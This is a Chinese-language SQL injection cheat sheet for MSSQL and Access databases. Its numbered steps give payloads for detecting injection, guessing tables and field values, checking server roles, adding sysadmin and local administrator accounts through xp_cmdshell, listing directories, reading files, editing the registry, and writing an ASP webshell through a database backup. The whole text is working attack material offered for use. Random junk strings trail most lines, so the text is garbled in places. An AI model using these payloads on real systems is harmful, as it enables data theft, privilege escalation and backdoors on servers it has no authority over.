1.判断是否有注入;and 1=1 ;and 1=2 uIR
2.初步判断是否是mssql ;and user>0 @`aPr26>?
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3.注入参数是字符'and [查询条件] and ''=' \<\147&)r
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' q0@b d2}
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5.判断数据库系统 \# 1p
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;and (select count(*) from sysobjects)>0 mssql R[H#av
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;and (select count(*) from msysobjects)>0 access rWJKK
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 u89Q2\z~"M
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 T )bMHk
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $Y%,?>AL<
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9.(1)猜字段的ascii值(access) S~GS:E#
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 R%Xz3Z&|
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(2)猜字段的ascii值(mssql) -90X^]
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 c\rP"y|S};
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10.测试权限结构(mssql) `(~oZbErM
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- L"(
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2=X.$&a
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- [\=1|t5n~
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ^h"@OEga?
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- YH&0Vy#c$
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- "1hFx=W+\
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;and 1=(select IS_MEMBER('db_owner'));-- P@U2Q%\
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11.添加mssql和系统的帐户 FMC]KXSd
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;exec master.dbo.sp_addlogin username;-- ]m#*4
;exec master.dbo.sp_password null,username,password;-- x(A6RRh
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- KR>o 2
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;exec master.dbo.xp_cmdshell 'net user username password M/YS%1
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- HaQox.v%
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- .v['INK9
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- RT[E$H
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12.(1)遍历目录 V/yj.aA*@
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;create table dirs(paths varchar(100), id int) Nu+DVIM
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;insert dirs exec master.dbo.xp_dirtree 'c:\' rf]x5%ij
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;and (select top 1 paths from dirs)>0 0+KSD{
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) XjTu`?Na;
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(2)遍历目录 lF\2a&YRbn
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?)7UqVyq
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 'AZxR4W
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 kT:?1 w'
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 UtHloq(r
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 U"a7myB+jX
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13.mssql中的存储过程
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xp_regenumvalues 注册表根键, 子键 I 1Yr{(ho
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 @IOl0db
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xp_regread 根键,子键,键值名 I^G6aw
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 #{J+BWP\o
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xp_regwrite 根键,子键, 值名, 值类型, 值 ^,`
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 mv(/M
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xp_regdeletevalue 根键,子键,值名 UkC'`NWF*
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 m",G;VN
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 :c(#03w*C
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14.mssql的backup创建webshell LdnTdh?
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use model GK#D R/OM
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create table cmd(str image); VREDVLQT
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insert into cmd(str) values (''); 0f9U:)1z
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backup database model to disk='c:\l.asp'; )M8@|~~
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15.mssql内置函数 juxAyds
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;and (select @@version)>0 获得Windows的版本号 BRv#`
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa
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;and (select user_name())>0 爆当前系统的连接用户 P=X)Ktmv
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;and (select db_name())>0 得到当前连接的数据库 !e('T@^u6u
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16.简洁的webshell -?Cu-'
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use model }TDq7-(g
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create table cmd(str image); qipS`:TER
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insert into cmd(str) values (''); rym*W\AWx
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backup database model to disk='g:\wwwtest\l.asp';